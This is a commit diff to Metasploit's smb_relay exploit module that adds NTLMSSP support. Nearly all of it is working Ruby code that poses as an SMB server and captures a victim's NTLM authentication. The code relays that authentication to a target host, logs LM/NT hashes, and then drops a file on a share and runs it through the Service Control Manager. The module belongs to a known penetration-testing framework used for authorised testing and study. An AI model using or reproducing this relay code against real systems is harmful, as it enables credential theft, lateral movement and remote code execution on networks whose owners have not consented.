Land #4706 jvazquez-r7 adds NTLMSSP support for smb_relay
commit
58436fcc98
|
@ -58,7 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'Author' =>
|
||||
[
|
||||
'hdm'
|
||||
'hdm', # All the work
|
||||
'juan vazquez' # Add NTLMSSP support to the exploit
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
|
@ -111,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
if (not rclient.client.auth_user)
|
||||
unless smb[:ntlmssp] || rclient.client.auth_user
|
||||
print_line(" ")
|
||||
print_error(
|
||||
"FAILED! The remote host has only provided us with Guest privileges. " +
|
||||
|
@ -124,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
print_status("Connecting to the defined share...")
|
||||
rclient.connect(datastore['SHARE'])
|
||||
rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
|
||||
|
||||
@pwned[smb[:rhost]] = true
|
||||
|
||||
|
@ -155,10 +156,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_status("Created \\#{filename}...")
|
||||
|
||||
# Disconnect from the SHARE
|
||||
rclient.disconnect(datastore['SHARE'])
|
||||
rclient.disconnect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
|
||||
|
||||
print_status("Connecting to the Service Control Manager...")
|
||||
rclient.connect("IPC$")
|
||||
rclient.connect("\\\\#{smb[:rhost]}\\IPC$")
|
||||
|
||||
dcerpc = smb_dcerpc(c, '367abb81-9844-35f1-ad32-98f038001003', '2.0', "\\svcctl")
|
||||
|
||||
|
@ -291,10 +292,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
print_error("Error: #{e}")
|
||||
end
|
||||
|
||||
rclient.disconnect("IPC$")
|
||||
rclient.disconnect("\\\\#{smb[:rhost]}\\IPC$")
|
||||
|
||||
print_status("Deleting \\#{filename}...")
|
||||
rclient.connect(datastore['SHARE'])
|
||||
rclient.connect("\\\\#{smb[:rhost]}\\#{datastore['SHARE']}")
|
||||
rclient.delete("\\#{filename}")
|
||||
end
|
||||
|
||||
|
@ -353,6 +354,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# Record the remote process ID
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
|
||||
flags2 = pkt['Payload']['SMB'].v['Flags2']
|
||||
extended_security = (flags2 & 0x800 == 0x800)
|
||||
|
||||
group = ''
|
||||
machine = smb[:nbsrc]
|
||||
|
||||
|
@ -363,13 +367,64 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
dialects.index("NT LM 0.12") ||
|
||||
dialects.length-1
|
||||
|
||||
|
||||
# Dialect selected, now we try to the target system
|
||||
target_host = datastore['SMBHOST']
|
||||
if (not target_host or target_host.strip.length == 0)
|
||||
target_host = smb[:ip]
|
||||
end
|
||||
|
||||
# If extended security isn't supported or we're trying reflection
|
||||
# ntlmv1 should be used, otherwise, use ntlmssp
|
||||
if extended_security && target_host != smb[:ip]
|
||||
smb[:ntlmssp] = true
|
||||
negotiate_ntlmssp(smb, target_host)
|
||||
else
|
||||
smb[:ntlmssp] = false
|
||||
negotiate_ntlmv1(smb, target_host)
|
||||
end
|
||||
|
||||
rclient = smb[:rclient]
|
||||
|
||||
# Negotiation has failed, just return
|
||||
unless rclient && rclient.client
|
||||
return
|
||||
end
|
||||
|
||||
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = smb[:ntlmssp] ? 0xc801 : 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 17
|
||||
pkt['Payload'].v['Dialect'] = dialect
|
||||
pkt['Payload'].v['SecurityMode'] = 3
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['MaxVCS'] = 1
|
||||
pkt['Payload'].v['MaxBuff'] = 4356
|
||||
pkt['Payload'].v['MaxRaw'] = 65536
|
||||
pkt['Payload'].v['Capabilities'] = smb[:ntlmssp] ? 0x8000e3fd : 0xe3fd
|
||||
pkt['Payload'].v['ServerTime'] = time_lo
|
||||
pkt['Payload'].v['ServerDate'] = time_hi
|
||||
pkt['Payload'].v['Timezone'] = 0x0
|
||||
pkt['Payload'].v['SessionKey'] = 0
|
||||
if smb[:ntlmssp]
|
||||
pkt['Payload'].v['KeyLength'] = 0
|
||||
pkt['Payload'].v['Payload'] =
|
||||
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + # Server GUID
|
||||
Rex::Proto::NTLM::Utils.make_simple_negotiate_secblob_resp
|
||||
else
|
||||
pkt['Payload'].v['KeyLength'] = 8
|
||||
pkt['Payload'].v['Payload'] =
|
||||
rclient.client.challenge_key +
|
||||
Rex::Text.to_unicode(group) + "\x00\x00" +
|
||||
Rex::Text.to_unicode(machine) + "\x00\x00"
|
||||
end
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
def negotiate_ntlmv1(smb, target_host)
|
||||
rsock = nil
|
||||
rport = nil
|
||||
[445, 139].each do |rport_|
|
||||
|
@ -382,7 +437,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
'MsfExploit' => self
|
||||
}
|
||||
)
|
||||
break if rsock
|
||||
|
@ -393,7 +448,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
end
|
||||
|
||||
if(not rsock)
|
||||
unless rsock
|
||||
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
|
||||
return
|
||||
end
|
||||
|
@ -409,12 +464,61 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
raise e
|
||||
end
|
||||
|
||||
if (not rclient.client.challenge_key)
|
||||
unless rclient.client.challenge_key
|
||||
print_error("No challenge key received from #{smb[:ip]}:#{rport}")
|
||||
rsock.close
|
||||
return
|
||||
end
|
||||
|
||||
if smb[:rsock]
|
||||
smb[:rsock].close
|
||||
end
|
||||
|
||||
smb[:rsock] = rsock
|
||||
smb[:rclient] = rclient
|
||||
smb[:rhost] = target_host
|
||||
end
|
||||
|
||||
def negotiate_ntlmssp(smb, target_host)
|
||||
rsock = nil
|
||||
rport = 445
|
||||
|
||||
begin
|
||||
rsock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => target_host,
|
||||
'PeerPort' => rport,
|
||||
'Timeout' => 3,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
}
|
||||
)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Error connecting to #{target_host}:#{rport} #{e.class} #{e}")
|
||||
end
|
||||
|
||||
unless rsock
|
||||
print_error("Could not connect to the target host (#{target_host}), the target may be firewalled.")
|
||||
return
|
||||
end
|
||||
|
||||
rclient = Rex::Proto::SMB::SimpleClient.new(rsock, true)
|
||||
|
||||
rclient.client.negotiate(true) # extended security true
|
||||
|
||||
unless rclient.client.server_guid
|
||||
print_error("The NTLMSSP negotation didn't provide the server guid from #{smb[:ip]}:#{rport}")
|
||||
rsock.close
|
||||
return
|
||||
end
|
||||
|
||||
# If in the answer the Extended Security Negotiation (Flags2) is set
|
||||
# we need to proceed like that!
|
||||
rclient.client.require_signing = false
|
||||
|
||||
if (smb[:rsock])
|
||||
smb[:rsock].close
|
||||
end
|
||||
|
@ -422,40 +526,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
smb[:rsock] = rsock
|
||||
smb[:rclient] = rclient
|
||||
smb[:rhost] = target_host
|
||||
|
||||
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x88
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 17
|
||||
pkt['Payload'].v['Dialect'] = dialect
|
||||
pkt['Payload'].v['SecurityMode'] = 3
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['MaxVCS'] = 1
|
||||
pkt['Payload'].v['MaxBuff'] = 4356
|
||||
pkt['Payload'].v['MaxRaw'] = 65536
|
||||
pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
|
||||
pkt['Payload'].v['ServerTime'] = time_lo
|
||||
pkt['Payload'].v['ServerDate'] = time_hi
|
||||
pkt['Payload'].v['Timezone'] = 0x0
|
||||
|
||||
|
||||
pkt['Payload'].v['SessionKey'] = 0
|
||||
pkt['Payload'].v['KeyLength'] = 8
|
||||
|
||||
pkt['Payload'].v['Payload'] =
|
||||
rclient.client.challenge_key +
|
||||
Rex::Text.to_unicode(group) + "\x00\x00" +
|
||||
Rex::Text.to_unicode(machine) + "\x00\x00"
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
def smb_cmd_session_setup(c, buff)
|
||||
smb = @state[c]
|
||||
if smb[:ntlmssp]
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
else
|
||||
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
end
|
||||
pkt.from_s(buff)
|
||||
|
||||
capabilities = pkt['Payload'].v['Capabilities']
|
||||
extended_security = (capabilities & 0x80000000 == 0x80000000)
|
||||
if extended_security
|
||||
smb_cmd_session_setup_ntlmssp(c, buff)
|
||||
else
|
||||
smb_cmd_session_setup_ntlmv1(c, buff)
|
||||
end
|
||||
end
|
||||
|
||||
def smb_cmd_session_setup_ntlmv1(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
@ -492,8 +583,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
print_status(
|
||||
"Received #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
|
||||
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
||||
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
|
||||
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
|
||||
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
|
||||
)
|
||||
|
||||
if (lm_hash == "" or lm_hash == "00")
|
||||
|
@ -519,7 +610,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
rescue XCEPT::LoginError
|
||||
end
|
||||
|
||||
if (res)
|
||||
if res
|
||||
print_status("AUTHENTICATED as #{smb[:domain]}\\#{smb[:username]}...")
|
||||
smb_haxor(c)
|
||||
else
|
||||
|
@ -539,4 +630,128 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
def smb_cmd_session_setup_ntlmssp(c, buff)
|
||||
smb = @state[c]
|
||||
buff_copy = buff.dup
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
pkt.from_s(buff_copy)
|
||||
|
||||
blob_length = pkt['Payload'].v['SecurityBlobLen']
|
||||
blob = pkt['Payload'].v['Payload'][0, blob_length]
|
||||
|
||||
#detect if GSS is being used I need to fix this code.... but
|
||||
if blob[0,7] == 'NTLMSSP'
|
||||
c_gss = false
|
||||
else
|
||||
c_gss = true
|
||||
start = blob.index('NTLMSSP')
|
||||
if start
|
||||
blob.slice!(0,start)
|
||||
else
|
||||
print_status("SMB Capture - Error finding NTLMSSP in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
return
|
||||
end
|
||||
end
|
||||
ntlm_message = NTLM_MESSAGE::parse(blob)
|
||||
|
||||
case ntlm_message
|
||||
when NTLM_MESSAGE::Type1
|
||||
smb_cmd_ntlmssp_negotiate(c, buff)
|
||||
when NTLM_MESSAGE::Type3
|
||||
smb_cmd_ntlmssp_auth(c, buff)
|
||||
else
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
def smb_cmd_ntlmssp_negotiate(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
security_blob_length = pkt['Payload'].v['SecurityBlobLen']
|
||||
security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
|
||||
|
||||
print_status("Sending NTLMSSP NEGOTIATE to #{smb[:rhost]}")
|
||||
rclient = smb[:rclient]
|
||||
|
||||
rclient.client.session_setup_with_ntlmssp_blob(security_blob, false)
|
||||
|
||||
print_status("Extracting NTLMSSP CHALLENGE from #{smb[:rhost]}")
|
||||
resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
||||
|
||||
rclient.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
|
||||
|
||||
security_blob_length = resp['Payload'].v['SecurityBlobLen']
|
||||
security_blob = resp['Payload'].v['Payload'][0, security_blob_length]
|
||||
|
||||
print_status("Forwarding the NTLMSSP CHALLENGE to #{smb[:name]}")
|
||||
challenge = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
|
||||
smb_set_defaults(c, challenge)
|
||||
|
||||
native_data = ''
|
||||
native_data << "Unix\x00" #Native OS
|
||||
native_data << "Samba\x00" #Native LanMAN
|
||||
|
||||
challenge['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
challenge['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
|
||||
challenge['Payload']['SMB'].v['Flags1'] = 0x80
|
||||
challenge['Payload']['SMB'].v['Flags2'] = 0xc801 # no signing
|
||||
challenge['Payload']['SMB'].v['WordCount'] = 4
|
||||
challenge['Payload'].v['AndX'] = 0xFF
|
||||
challenge['Payload'].v['Reserved1'] = 0x00
|
||||
challenge['Payload'].v['AndXOffset'] = 0
|
||||
challenge['Payload'].v['Action'] = 0x0000
|
||||
challenge['Payload'].v['SecurityBlobLen'] = security_blob_length
|
||||
challenge['Payload'].v['Payload'] = security_blob + native_data
|
||||
c.put(challenge.to_s)
|
||||
end
|
||||
|
||||
def smb_cmd_ntlmssp_auth(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
|
||||
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
|
||||
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
|
||||
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
|
||||
|
||||
print_status("Extracting the NTLMSSP AUTH resolution from #{smb[:name]}, and sending Logon Failure response")
|
||||
|
||||
security_blob_length = pkt['Payload'].v['SecurityBlobLen']
|
||||
security_blob = pkt['Payload'].v['Payload'][0, security_blob_length]
|
||||
|
||||
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
|
||||
|
||||
print_status("Forwarding the NTLMSSP AUTH resolution to #{smb[:rhost]}")
|
||||
rclient = smb[:rclient]
|
||||
|
||||
rclient.client.session_setup_with_ntlmssp_blob(
|
||||
security_blob,
|
||||
false,
|
||||
rclient.client.auth_user_id
|
||||
)
|
||||
resp = rclient.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
||||
|
||||
#check if auth was successful
|
||||
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
|
||||
print_good("SMB auth relay against #{smb[:rhost]} succeeded")
|
||||
smb_haxor(c)
|
||||
else
|
||||
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
|
||||
failure.word_count = resp['Payload']['SMB'].v['WordCount']
|
||||
failure.command = resp['Payload']['SMB'].v['Command']
|
||||
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
|
||||
raise failure
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue